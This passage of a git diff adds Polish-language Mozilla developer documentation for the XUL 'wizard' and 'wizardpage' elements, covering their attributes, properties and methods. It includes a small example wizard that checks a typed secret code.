+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="theWizard" title="Secret Code Wizard"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function checkCode(){
+ document.getElementById('theWizard').canAdvance = (document.getElementById('secretCode').value == "cabbage");
+}
+&lt;/script&gt;
+
+ &lt;wizardpage onpageshow="checkCode();"&gt;
+ &lt;label value="Enter the secret code:"/&gt;
+ &lt;textbox id="secretCode" onkeyup="checkCode();"/&gt;
+ &lt;/wizardpage&gt;
+
+ &lt;wizardpage&gt;
+ &lt;label value="That is the correct secret code."/&gt;
+ &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-firstpage">
+
+<dl><dt> <code id="a-firstpage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/firstpage">firstpage</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawiony na <code>true</code>, jeśli <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code> jest na pierwszej stronie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-lastpage">
+
+<dl><dt> <code id="a-lastpage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/lastpage">lastpage</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawiony na <code>true</code>, jeśli <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code> jest na ostatniej stronie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onextra1">
+
+<dl><dt> <code id="a-onextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra1">onextra1</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Ten atrybut powinien być ustawiony w kodzie, który wywołany bedzie kiedy użytkownik naciśnie dodatkowy przycisk (&lt;tt&gt;extra1&lt;/tt&gt;).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onextra2">
+
+<dl><dt> <code id="a-onextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra2">onextra2</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Ten atrybut powinien być ustawiony w kodzie, który wywołany bedzie kiedy użytkownik naciśnie dodatkowy przycisk (&lt;tt&gt;extra2&lt;/tt&gt;).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onwizardback">
+
+<dl>
+ <dt>
+ <code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony kod, który jest wywołany kiedy użytkownik naciśnie przycisk Wstecz. Zwraca <code>true</code>, aby pozwolić na to by wyświetlić wcześniejszą stronę i <code>false</code>, aby nie pozwolić na powrót do wcześniejszej strony. Zastosuj własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canRewind">canRewind</a></span></code>, aby zasygnalizować użytkownikowi (przez odłączenie przycisku Wstecz), że on nie może wrócić do poprzedniej strony.</dd>
+</dl>
+</div>
+<div id="a-onwizardcancel">
+
+<dl>
+ <dt>
+ <code id="a-onwizardcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardcancel">onwizardcancel</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony kod, który jest wywołany, kiedy użytkownik naciśnie przycisk Anuluj. Zwraca <code>true</code>, aby pozwolić kreatorowi zostać anulowanym i zamkniętym lub zwróci <code>false</code>, aby chronić kreator przed anulowaniem. <span class="comment">Use the <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canCancel">canCancel</a></span></code> property to indicate to the user (by disabling the Cancel button) that they cannot cancel.</span></dd>
+</dl>
+<p> </p>
+
+<p></p>
+</div>
+<div id="a-onwizardfinish">
+
+<dl>
+ <dt>
+ <code id="a-onwizardfinish"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardfinish">onwizardfinish</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiać kod, który jest wywoływany kiedy użytkownik naciśnie przycisk Zakończ, który pojawi się przycisk Dalej na ostatniej stronie kreatora. Zwraca <code>true</code> pozwalając kreatorowi na zamknięcie się lub zwraca <code>false</code>, zapobiega przejście do następnej strony. Zastosuj własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canAdvance">canAdvance</a></span></code>, aby zasygnalizować użytkownikowi (poprzez wyłączenie przycisku Zakończ), że nie ma on końca.</dd>
+</dl>
+</div>
+<div id="a-onwizardnext">
+
+<dl>
+ <dt>
+ <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiać kod, który jest wywoływany kiedy użytkownik naciśnie przycisk Dalej, podczas pobytu na bieżącej stronie. Zwraca <code>true</code> pozwalając następnej stronie na wyświetlenie sie i zwraca <code>false</code> nie pozwalając na przejście do następnej strony. Zastosuj własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canAdvance">canAdvance</a></span></code> aby zasygnalizować użytkownikowi (poprzez wyłączenie przycisku Dalej), że nie może on przejść do następnej strony.</dd>
+</dl>
+</div>
+<div id="a-pagestep">
+
+<dl>
+ <dt>
+ <code id="a-pagestep"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pagestep">pagestep</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Indeks bieżącej strony.</dd>
+</dl>
+</div>
+<div id="a-title">
+
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-canAdvance">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canAdvance">canAdvance</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik naciśnie przycisk 'Dalej', aby przejść do następnej strony. Jeśli ta własność jest ustawiona na <code>false</code>, użytkownik nie może przejść do następnej strony. Ustaw tą własność na <code>true</code>, aby zasygnalizować, że użytkownik może przejść do następnej strony. Ustawiając własność na <code>false</code>, przejście do następnej strony zostanie odrzucone (zabronione). Możemy to zobaczyć poprzez włączony lub wyłączony przycisk 'Dalej' lub na ostatniej stronie kreatora będzie umieszczony przycisk 'Zakończ'.</dd>
+</dl></div>
+<div id="p-canRewind">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canRewind">canRewind</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik może nacisnąć przycisk Wstecz, aby przejść do poprzedniej strony. Jeśli własność jest <code>false</code>, użytkownik nie będzie mógł przejść do poprzedniej strony. Ustaw tą własność na <code>true</code>, aby zasygnalizować, że użytkownik może przejść do poprzedniej strony. Ustaw na <code>false</code>, aby nie pozwolić na przeniesienie do poprzedniej strony. Posiada efekt włączonego lub wyłączonego przycisku Wstecz.
+</dd></dl>
+
+</div>
+<div id="p-currentPage">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentPage">currentPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Wartość zwraca element kreatora (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>), który jest aktualnie wyświetlany. Możemy modyfikować tą wartość, aby zmienić aktualną stronę.</dd>
+</dl></div>
+<div id="p-onFirstPage">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/onFirstPage">onFirstPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik jest na pierwszej stronie, która może być lub nie być pierwsza w indeksie.</dd>
+</dl></div>
+<div id="p-onLastPage">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/onLastPage">onLastPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik jest na ostatniej stronie kreatora.</dd>
+</dl></div>
+<div id="p-pageCount">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/pageCount">pageCount</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Ta własność trzyma liczbę stron w kreatorze (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>).
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-pageIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/pageIndex">pageIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Ta własność zwraca indeks aktualnie zaznaczonej strony. Możemy zmienić zaznaczenie strony poprzez modyfikacje tej własności.</dd>
+</dl>
+</div>
+<div id="p-pageStep"></div>
+<div id="p-title">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/title">title</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Tytuł, który pojawia się na górze kreatora (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>). Jest przesłaniany przez atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> na indywidualnych stronach.</dd>
+</dl></div>
+<div id="p-wizardPages">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/wizardPages">wizardPages</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM NodeList elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Ta własność podtrzymuje listę elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code> w <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl>
+ <dt>
+ <span id="m-advance"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/advance">advance( pageID )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Wywołaj tą metodę, aby przejść stronę dalej. Jest równoważna naciśnięciu przycisku Dalej. Własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canAdvance">canAdvance</a></span></code> musi być ustawiona na <code>true</code> dla strony, która będzie zmieniona. Kod w atrybucie <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code> jest wywołany przed zmianą strony. Argument <var>pageID</var> pozwala nam określić indeks strony do której mamy przejść. Dostarcza <code>null</code> jako argument przejścia do strony dalej w pewnej kolejności.</dd>
+</dl>
+<dl><dt> <span id="m-cancel"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancel">cancel()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołuje tą metodę do anulowania i zamknięcia kreatora. Kod w atrybucie <code><code id="a-onwizardcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardcancel">onwizardcancel</a></code></code> jest wywołany zanim okno kreatora zostanie anulowane.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-extra1"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/extra1">extra1()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołanie tej metody symuluje naciśnięcie dodatkowego przycisku (&lt;tt&gt;extra1&lt;/tt&gt;). Kod w atrybucie <code id="a-onextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra1">onextra1</a></code> zostanie wywołany.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-extra2"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/extra2">extra2()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołanie tej metody symuluje naciśnięcie dodatkowego przycisku (&lt;tt&gt;extra2&lt;/tt&gt;). Kod w atrybucie <code id="a-onextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra2">onextra2</a></code> zostanie wywołany.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getButton"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getButton">getButton( typ )</a></code></span>
+</dt><dd> Zwraca typ: <i>element button</i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code> o zadanym typie, znajdujący się w okienku dialogowym.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getPageById"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getPageById">getPageById( pageID )</a></code></span>
+</dt><dd> Zwraca typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code> przesyłając go do określonej <var>pageID</var>.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-goTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goTo">goTo( pageID )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Ta metoda jest stosowana do zmiany, która strona jest aktualnie wyświetlana, określona poprzez argument <var>pageID</var>. Strona będzie zmieniona niezależnie od własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canAdvance">canAdvance</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canRewind">canRewind</a></span></code>. Atrybuty <code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code> i <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code> nie są wywoływane podczas użycia tej metody.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-rewind"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/rewind">rewind()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wywołaj tą metodę, aby przejść wstecz na stronie. Jest równoważna naciśnięciu przycisku Wstecz. Własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canRewind">canRewind</a></span></code> musi być ustawiona na <code>true</code> dla strony, która będzie zmieniona. Kod w atrybucie <code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code> jest wywołany przed zmianą strony.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p><a href="pl/XUL/wizardpage">wizardpage</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/wizardpage/index.html b/files/pl/mozilla/tech/xul/wizardpage/index.html
new file mode 100644
index 0000000000..c6d87b2267
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/wizardpage/index.html
@@ -0,0 +1,185 @@
+---
+title: wizardpage
+slug: Mozilla/Tech/XUL/wizardpage
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/wizardpage
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element definiuje stronę w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>. Zawartość strony powinna być umieszczona wewnątrz elementu <code>wizardpage</code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Tworzenie_kreatora">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-description">description</a>, <a href="#a-label">label</a>, <a href="#a-next">next</a>, <a href="#a-onpageadvanced">onpageadvanced</a>, <a href="#a-onpagehide">onpagehide</a>, <a href="#a-onpagerewound">onpagerewound</a>, <a href="#a-onpageshow">onpageshow</a>, <a href="#a-pageid">pageid</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-next">next</a>, <a href="#p-pageid">pageid</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="theWizard" title="Secret Code Wizard"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function checkCode(){
+ document.getElementById('theWizard').canAdvance = (document.getElementById('secretCode').value == "cabbage");
+}
+&lt;/script&gt;
+
+ &lt;wizardpage onpageshow="checkCode();"&gt;
+ &lt;label value="Enter the secret code:"/&gt;
+ &lt;textbox id="secretCode" onkeyup="checkCode();"/&gt;
+ &lt;/wizardpage&gt;
+
+ &lt;wizardpage&gt;
+ &lt;label value="That is the correct secret code."/&gt;
+ &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-description">
+
+<dl><dt> <code id="a-description"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/description">description</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst opisowy do wyświetlenia w dodatku do tytułu okienka dialogowego.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-next">
+
+<dl><dt> <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>
+</dt><dd> Typ: <i>id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+</dd><dd> Ustawia atrybut <code><code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code></code> następnej strony. Kiedy ustawia stronę z tym pageID to jest wyświetlana, kiedy przycisk &lt;tt&gt;Dalej&lt;/tt&gt; zostanie naciśnięty. Może być stosowany do tworzenia kreatorów, które nie mają liniową kolejność. Jeśli jedna ze stron posiada atrybut <code><code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code></code>, wszystkie strony powinny mieć jeden taki atrybut, oprócz strony ostatniej.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onpageadvanced">
+
+<dl>
+ <dt>
+ <code id="a-onpageadvanced"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpageadvanced">onpageadvanced</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiać kod, który jest wywoływany kiedy użytkownik naciśnie przycisk Dalej, podczas pobytu na bieżącej stronie. Zwraca <code>true</code> pozwalając następnej stronie na wyświetlenie sie i zwraca <code>false</code> nie pozwalając na przejście do następnej strony.</dd>
+</dl>
+</div>
+<div id="a-onpagehide">
+
+<dl><dt> <code id="a-onpagehide"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpagehide">onpagehide</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w tym atrybucie jest wywołany kiedy strona jest ukryta, tak jak w momencie przenoszenia do kolejnej strony. Zwraca <code>true</code>, aby zaakceptować zmiany na stronie i <code>false</code>, aby zapobiec zmianom na stronie. Kod jest wywoływany zanim <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code> wywoła funkcję <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code> lub powiązaną.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onpagerewound">
+
+<dl>
+ <dt>
+ <code id="a-onpagerewound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpagerewound">onpagerewound</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na kod, który wywołany jest, kiedy użytkownik naciśnie przycisk Wstecz na aktualnie przeglądanej stronie. Zwraca <code>true</code>, aby pozwolić poprzedniej stronie na wyświetlenie się i <code>false</code>, aby odrzucić przejście do następnej strony.</dd>
+</dl>
+</div>
+<div id="a-onpageshow">
+
+<dl>
+ <dt>
+ <code id="a-onpageshow"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpageshow">onpageshow</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywoływany, kiedy strona jest pokazywana.</dd>
+</dl>
+</div>
+<div id="a-pageid">
+
+<dl>
+ <dt>
+ <code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Atrybut powinien być ustawiony na łańcuch znaków, który identyfikuje identyfikator stron w kreatorze ( <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>). Stosowany z atrybutem <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>. Kreator zawsze zaczyna z <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>, który pojawia się pierwszy w kreatorze na liście potomnych.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-next">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/next">next</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
